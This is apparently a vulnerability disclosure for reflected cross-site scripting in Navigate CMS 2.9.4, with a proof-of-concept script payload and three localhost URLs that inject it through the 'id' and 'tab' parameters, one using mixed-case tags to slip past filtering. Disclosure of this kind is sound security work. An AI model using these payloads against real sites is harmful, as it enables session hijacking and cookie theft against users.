Description

Cross-Site Scripting is vulnerability which allows attackers to execute arbitrary javascript code in the browser of victim.

Proof of Concept

Parameter: id

Payload: <script>alert(document.cookie)</script>

Affected endpoints:

On Firefox browser, visit:

1 http://localhost/navigate2.9.4/navigate/navigate.php?fid=files&act=edit&op=replace_file&id=%3Cscript%3Ealert(%22xss-1%22)%3C/script%3E

2 http://localhost/navigate2.9.4/navigate/navigate.php?fid=files&act=edit&id=%3Cscript%3Ealert(document.cookie)%3C/script%3E

3 http://localhost/navigate2.9.4/navigate/navigate.php?fid=files&act=edit&op=replace_file&id=%3CsCriPt%3Ealert(%22XSS-1%22)%3C/sCriPt%3E&tab=%3CsCriPt%3Ealert(%22XSS-2%22)%3C/sCriPt%3E

_

XSS alert will pop-up showing user cookie or xss-1.

Impact

This vulnerability is capable of capture the cookies of anyone that navigates to the vulnerable URL.